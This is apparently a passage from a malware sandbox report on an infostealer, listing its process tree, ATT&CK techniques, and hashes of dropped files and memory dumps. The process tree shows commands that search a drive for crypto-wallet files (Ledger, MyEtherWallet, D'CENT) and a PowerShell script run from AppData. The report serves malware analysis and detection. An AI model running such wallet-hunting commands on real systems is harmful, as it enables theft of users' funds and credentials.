        "C:\Windows\system32\cmd.exe" /c "dir "F:\*ledger*" /s 2>nul"
        6⤵
        
        PID:2388
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*myether*" /s 2>nul"
        6⤵
        
        PID:2140
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "dir "F:\*dcent*" /s 2>nul"
        6⤵
        
        PID:3264
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File "C:\Users\Admin\AppData\Local\pipe\1.ps1" -FileName "C:\Users\Admin\AppData\Local\pipe\2.log"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4164
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:1512
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w3pyata4\w3pyata4.cmdline"
        7⤵
        
        PID:4600
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA5A1.tmp" "c:\Users\Admin\AppData\Local\Temp\w3pyata4\CSC29A31695265D4039B933B58227BDFBB.TMP"
        8⤵
        
        PID:4556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

FileList.txt

Path C:\Users\Admin\AppData\Local\FileList.txt
Size 22KB
SHA256 4fb983e167c6917f5f8558e2f77b7377339cb5c5b4f2287a7cf179dc17c0120a
MD5 d8dddc3525237ba2bea9948a4b93246c
SHA1 9200bc197e711e1f33c1c3de222be421f407e149
SHA512 ab006a63b3cc556d52e9a5703c81c497f32c3b644ce4420397c0cc591cde22c4589b3ad8e6460700ebdd20bc6418750918b96f6c8c90c018ed695b4c18d7689d
SSDEEP 384:1Ik0HYzHbCzQaJLvWAnrCpDU8PcKBT5Aak04arcKBA0ZJ8neawof+IhckcAPrrL:1p0HWHbYAArCpDU80KBT5Aak04aoKBAv
TLSH
T14CA2DA1BAEE60116E2F7D98896F21023AB6379626D3DD90C01ED634D07E7D01F861B9F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 11d1fe8475b2ff4c9bc67e6a553b42d710594991aa26299c88c9a818632d139c
MD5 6fb696bec3f166f56c31dc50dd70b297
SHA1 e0df3568985498d732fb243277b234375e8029e8
SHA512 d7d1662a0d8c17860f8ea23fa0c4cc671b21d6def30205146598535a424dcca7fbe7f499aaf2f6dfe9a4abfaf0265a4288a12d1e81993649cb1e3a4446644b2e
SSDEEP 1536:jC+jH0btAHkWCqOdBLNKeeflJnjYoSV3CNBQkj20Hqd5KzmRWmHFwN6MKv9aVJrK:jC+jH0btAHkWdOdBLNKeeflJnjYoSV3h
TLSH
T188436092E9204D75E1A66F3EF15662227D303D4690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d54cb88f4d90d7b6ca4d228d85ccddf636f85397f46984932363f60668e0ae68
MD5 4a09939416d09072fdda27ca8dd7dc56
SHA1 80f274f4e481ddd822afd5bb4e51281115c81ac2
SHA512 a1cbee1afcba8ef8779951e6c1be20c985cbddd476475d969d31ffb57e36e5c316a73972fe84ae9fe022d819580810dde36923695b7a7ea55d2d435799774323
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cbafbcef08446541d49da9d11842ab860628a7d317db15f570b7b1e1048ade11
MD5 63e62e02ee9c90b7adfb2eefe7efa04f
SHA1 9bc1eda86f7f95345c2a3901288b6867447dee6b
SHA512 3d2bf16c2a9b42e28dc9d2c18d6d697d3749b14f2f6c708ea9e587022aeb5fbbcffaa49c4f4f994f1cd1f6c886b8d8b6ab3a29d3b65fe0659ea0f2fa9d47ba52
TLSH
T1BA117637B39C89A1CC86163A409DAC1172B683C741AEDEDF7BC0C214E1AF584CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 34c58f00963a66a3a5f1629daf42f73a599d74e288ae335ddc29fc6ed56a4367
MD5 900240067db8c00fed19932e8fb1f5a4
SHA1 1582254f1a29fda3159e25402cee197b0452b365
SHA512 a6211ee21bcd900022ba4a817c46f802a8a5086c663d406caffd8a24f229aa28bc177acd58fa4406c0f2ecce5a410388a65f28689170fb3642303a12240e2b45
TLSH
T11131B837B3DC89E5C896063A009E9D207BB692C384DECEDB7BC4D604A17F688CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

RES3DCF.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3DCF.tmp
Size 1KB
SHA256 9ba9df645cc6bed27f1a9da6d92d291a356f87681c791910d2de43fec2d67ab2
MD5 8e81375000596215a2e140720c0834f5
SHA1 31bbaac265156ae8626450b7f56ce7fd246912d1
SHA512 d848b48871e239e378bcbda0f848b3d2f3a963039a3e222dd950ae4ed4eea566dbb50463f35988b1a25dd10ee71821ba674c1ed55849517a8438545540656050
TLSH
T15921AF0553EC476AF077573169F6072B9278FD54DFA2535B954042281C50504EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

RESA5A1.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESA5A1.tmp
Size 1KB
SHA256 b95f7a83a0caa71d6b8ee0c1aa99845eb000859ddafa59b38a999cc697028514
MD5 889812d6f4bf420049406e79073c4384
SHA1 44a2631d58d56540e844df41d12c3a5ad28ec841
SHA512 0ce7014fa27e3456ada981476f20a49cc1fa3ac47fba091dba4de0979239270465656fd96ac46d7459a97fd96978266eb78d2df598f4aa41fb61b7cb49cca679
TLSH
T18821AB0993EA4B0FF077473169FA132FA278FDA5EFA2975B8540422C1C51504EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ybu2e4dz.unh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybu2e4dz.unh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

password.txt

Path C:\Users\Admin\AppData\Local\Temp\password.txt
Size 21B
SHA256 912fc71662d52486838562581c3f44219a8e7b053590b13d4edfbfc67e953d68
MD5 46e075c946a9dcf1ccb2c82f2c75564e
SHA1 d9d959747610e87181aa7e0a393cc628ba2779b9
SHA512 384443a3518939c24a0793e59c4acecf84c700c63895b6f3401c5981dd94e59ff1ee2abd6094ed0ae8544164a7ffdd02bcac51ccf9cbccb4a0d31cc5d1081786
MD5 SHA1 SHA512

Submit Download

pfzhmkam.dll

Path C:\Users\Admin\AppData\Local\Temp\pfzhmkam\pfzhmkam.dll
Size 3KB
SHA256 524915e970d01063b466a2cf008de9136c28cab1fad3c27c8ec8d0e2cd491ba9
MD5 7618f5117db305944b55cdbc70ff9635
SHA1 0bb8e5fcbe55d818d07a10eb0f1a180308ea1f66
SHA512 3c1008ff07b7945a5391a658e8c52f19139aed213abcba8bd8489fcd44a56d6e3d149c9e6c484ca1e0b0e7fe7110e6a0cae10047a9edd4ac2c1a2e322f04c9f7
TLSH
T19C51A917A7E84A6BE4B747746EF7432233B4F8609B72975E1890027CAC506649E36FB0
MD5 SHA1 SHA512 TLSH

Submit Download

w3pyata4.dll

Path C:\Users\Admin\AppData\Local\Temp\w3pyata4\w3pyata4.dll
Size 3KB
SHA256 b671a64e56b78107d9c78dabef67543c33d20e8b18e628e00566bb587bcd05fc
MD5 990cc776f22c994fe7683f12de985970
SHA1 db40dd5080ef36773c5f7e36bef1660f176c9409
SHA512 aef5c4771aa3ad874c9c2453c3fcedb1b0ea1af470c736626857412f1141f7f5818b2bc010dfdfd4f02c68a4e963391e0584ee21a6fd465b48ff864a2cedbe45
TLSH
T1E2710F16A3F84627E87307346EB347266BB4F8909E72975E0AE0021C6C626685E35BB1
MD5 SHA1 SHA512 TLSH

Submit Download

pipe.log

Path C:\Users\Admin\AppData\Local\pipe.log
Size 15KB
SHA256 94d48fc67183a649d0b1f41f5790b64ba301d9499c81032e855e91ccc645778b
MD5 f956c7246cf15e194747a045d58f738d
SHA1 0512a9df167dd134f2c3adae5d53da128e98ba32
SHA512 5a2ed1b8bdf4aaa57303da080778df50bc7d6975440a2d90b1a0938d7d7ef04a2183866763e06d48d5996e0cdfea5c3ba74dcd7196391d028abf495e5b3a2941
SSDEEP 384:YAmSIz3VlqC+khtaEn4zp8FlIKHs27/uPoMyX3I7:YAkz3Vlu2Nn4k7c+o7
TLSH
T1B962D1649F0D38F1BCB88FA02C51286A80DA802FC180B19E526B7175C6F0777EB672F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pipe.zip

Path C:\Users\Admin\AppData\Local\pipe.zip
Size 15KB
SHA256 25beadd482fc8f1831ab7b32280e30bc8dcfc0c4b120363e7ba64bd0a87cbf46
MD5 558cab27242fc520ad0fcbfc8043b9d7
SHA1 502fbf4b3880a374021e1249d0049f8175f407a8
SHA512 1a609f5cd0a01daccc5815ac3bf3049f14b545f478be46caf0da0fc48da553e2fe02b4ded9cd2657d3cfabc2309e00f0cab1fe5c37a97c98f80e57cdb6331ee1
SSDEEP 384:DmrzIB75sRtOd6Oz3Ogvvk+QX8N9v9VItehEi0nu0gZBleC6n/Rb9:vLsRtC1pk+QMN9viV5uHD6/v
TLSH
T13F62CF9EAF2E0429E65077F4BC27D7B85C56899F51675B039F00F81043C9A88867D8A7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1.log

Path C:\Users\Admin\AppData\Local\pipe\1.log
Size 39KB
SHA256 ec12bad4e691bf62fb8528324fe14328ba6e32c54ac365070ce941a7509a90c4
MD5 12728fd9808db7a1d94e7f9a0dc588db
SHA1 04d898f527a23e738c16db65f3d1506f0d5b1261
SHA512 66f7671a934bb7780b1cf52c0158de9411b8820785f0eb594d0917369e77d21e048a708295064ff1cf71334a57975c1e35a8c2ee6166e0ec4c3d433b42fc21ca
SSDEEP 768:GwBJlyechzaTXPZdPQgkuQc5MBqOBDa+fPpAHDzSpDtso:IzwP3P8qO8Xo
TLSH
T13A03184D9F813758CF451630D5EDACD99B1E31663C725BDD0A1AA8CC2EB19BAB0D80CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1.ps1

Path C:\Users\Admin\AppData\Local\pipe\1.ps1
Size 183B
SHA256 3c7a0904c80ecb0f28f89453f4bfbe09aecdda646fe9bceb154670e92f51a95e
MD5 6e700fa68b1a4dce7836cdeb2f7505c3
SHA1 adcf29c4abbc25ed7b16be49f5fbe60c6d9dd8bc
SHA512 7fbe7dcac972c68806ca79cb9aa2bf9ed6aad99cc7cfe6642fff7a12f24b0b80a0656121e19d071deac15ac57c292130764ba460c465f6018258f447421f6659
TLSH
T158C0C0341D04880046029216C0A8B8017B3B333CA03C2F7CFDC2DF886BC228234FA304
MD5 SHA1 SHA512 TLSH

Submit Download

2.log

Path C:\Users\Admin\AppData\Local\pipe\2.log
Size 5KB
SHA256 ed3ce0d3307446b23aa7ccdb977a4648db1cb64bd9305bae20061b59f97177b2
MD5 424ac088a7e7841e0c11a599687875f6
SHA1 03cc84389807b88595512c3b7effd91723e7fab9
SHA512 c97e5a60d96c46a2ce9e5d7806bbf99c953a58458ccaf62a0162240b5571e653a127786f0ae619b59b2b1febddbb4d9c42a5efd6bdd67c3b2292442b46ef2199
SSDEEP 96:BBM5j+iOH9BkgdDVaq6VdRsW8mz3lqeb39MLJN/GEeClLAqU8D/w2mw1pGH9x:Lk+BDzDAq6Vdqsz3MeBMLPeE97X+j
TLSH
T13FB1C71C7DC92B688F4201C205EAA8E44EDD615B3D50D96A1B14EDDD0C71A36B8DEC8D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCE72D0E47BD0D455A9898F99D9F9F79D.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\pfzhmkam\CSCE72D0E47BD0D455A9898F99D9F9F79D.TMP
Size 652B
SHA256 2c470cd2fcbc7252ef0a8de54aff01b5caae7027b09ddcf2907fe5f6338cfc8e
MD5 0cc9ef150e657ff76268ab474657cc1e
SHA1 87ef87bc601d876a27158960949721cab072ee62
SHA512 687b7549d81ed9b65b330879f490fac7e3fbd77d00aa805a1966d21a0c5997fbbeeba503593b9f36f9c859338dfa96ff5ed3700cd2371b3bf37c4933479b4adf
TLSH
T11EF05E4963FC120EF4F34B31BEF6836391A9BC64DF7293ED5550031928645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

pfzhmkam.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\pfzhmkam\pfzhmkam.0.cs
Size 195B
SHA256 f5385f1691cf3383985c1d416348022ffc95ea29712594d64773d830443f2e34
MD5 ba3d4e5a2a65141259ecf285a67158bc
SHA1 02adfa2ad3949615519901514685e83fab87f5d7
SHA512 bc4ad90bfd711ab213edfe5588063cc9c7add8257bdac82ca1b405aaba1e97ffade566365911c64c1bda6829f54928a8eb899913aaabacb2285c48fdde4da5bf
TLSH
T18BD08C002B0085B921F3B333E222C859FA5380B2A3A42214FA5E1A740FB1A128068C6F
MD5 SHA1 SHA512 TLSH

Submit Download

pfzhmkam.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\pfzhmkam\pfzhmkam.cmdline
Size 369B
SHA256 54c11d11e82a4638343ecbb2be8cb028e28179ff2329ecffaa03f3973f1b2379
MD5 955b473e31d35513e41a0233fa9ea135
SHA1 33f1da970443f16f03a74857de79f8fabc9ee721
SHA512 a315828dd85a101a153b373b002dbba1c9ca09fb09d44b97204bda77480a63f688bf33be97f1c940ae691ce8f962556c1ef995a8a90163a338d63ce802783a1b
TLSH
T18EE020BA5256C77D16ED1047216AD5ECC372C74729827F84B190449DD0375046BF17D9
MD5 SHA1 SHA512 TLSH

Submit Download

CSC29A31695265D4039B933B58227BDFBB.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\w3pyata4\CSC29A31695265D4039B933B58227BDFBB.TMP
Size 652B
SHA256 a1145a62baaca96ec0648e5e0ba21306ae305dfe258cfb5302ad1911d61debef
MD5 788f84041a35d85e23987bad4a085e3f
SHA1 6ec2a5c07bac4fcd8e6f5c099cbb091a26f2c8c0
SHA512 0d2b3049234623fa36072c31ee05dec0eb430255ccda81a53f48dedd1870b5d13d27a1440acf7ffdad7ee97812d539da038e1524e6d2c3a3b7ccd2fbe045b26e
TLSH
T1A6F05E0A63F8020EF0F74B30BDF6436791A9BC65DE3297ED1850131D28645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

w3pyata4.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\w3pyata4\w3pyata4.0.cs
Size 930B
SHA256 42c45f52e1abb3088c1975f91eadf7d57038a59ebb0b26a5753ea9e32ca86bee
MD5 09f002525fd41fca57e4596f6521c5ef
SHA1 d350daea9cefbe4b675fa3e8d29291bc960cfdad
SHA512 38c74ae5093b95e395cc425a10f0a12b28665267e652f7e915eadcf6191772b8d8e7eddb304e175d8dbb3f23a7056bc9c9999d028140779cef41812aed4dc31a
TLSH
T12511C03CFA16DA78659250095C97DEBBF71F6221B2B91800B4BD13328F13059663C70E
MD5 SHA1 SHA512 TLSH

Submit Download

w3pyata4.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\w3pyata4\w3pyata4.cmdline
Size 369B
SHA256 2072b9fc3405299c1a78fd4685f88b09878537aa247f58031bdf27d83027a3a2
MD5 f6f7e4b074816dd00f3bee87e825484d
SHA1 d096f1e80a2e23468e7c33a4dba556f5b35d5517
SHA512 7b77befda8a64fff729c8dd289c890ef7f2572b6fd2a271e25035abe89de4609730bd8d41df8e976627b2261c99d2e5b6f02a0c7f9d27acb4f8ba2047c42579d
TLSH
T160E0C66A4287CABD32EE104B226AC9EFC273078B29803F849560840DE12700C3BF3F81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1504-130-0x00000183362F0000-0x00000183362FA000-memory.dmp

Download

memory/1504-137-0x0000018336D30000-0x0000018337258000-memory.dmp

Download

memory/1504-107-0x0000018335F20000-0x0000018335F4A000-memory.dmp

Download

memory/1504-106-0x0000018335E20000-0x0000018335ED5000-memory.dmp

Download

memory/1504-138-0x00000183364D0000-0x0000018336520000-memory.dmp

Download

memory/1504-121-0x0000018335CA0000-0x0000018335CA8000-memory.dmp

Download

memory/1504-129-0x0000018336300000-0x000001833631C000-memory.dmp

Download

memory/1504-108-0x0000018335F20000-0x0000018335F44000-memory.dmp

Download

memory/1504-136-0x0000018336630000-0x00000183367F2000-memory.dmp

Download

memory/1584-2-0x000001CA3C4B0000-0x000001CA3C4C0000-memory.dmp

Download

memory/1584-11-0x000001CA551B0000-0x000001CA551D2000-memory.dmp

Download

memory/1584-3-0x000001CA3C4B0000-0x000001CA3C4C0000-memory.dmp

Download

memory/4164-287-0x000001F34ABB0000-0x000001F34ABB8000-memory.dmp

Download

memory/4696-84-0x000001EB19BE0000-0x000001EB19DFC000-memory.dmp

Download

memory/4696-74-0x000001EB7FB90000-0x000001EB7FBA2000-memory.dmp

Download

memory/4696-75-0x000001EB7F7A0000-0x000001EB7F7AA000-memory.dmp

Download

memory/4696-73-0x000001EB7F7A0000-0x000001EB7F7AA000-memory.dmp

Download

memory/4696-72-0x000001EB1A1D0000-0x000001EB1A285000-memory.dmp

Download

memory/4696-71-0x000001EB19F40000-0x000001EB19F5C000-memory.dmp

Download

memory/5024-94-0x0000028BF9CF0000-0x0000028BFA1A7000-memory.dmp

Download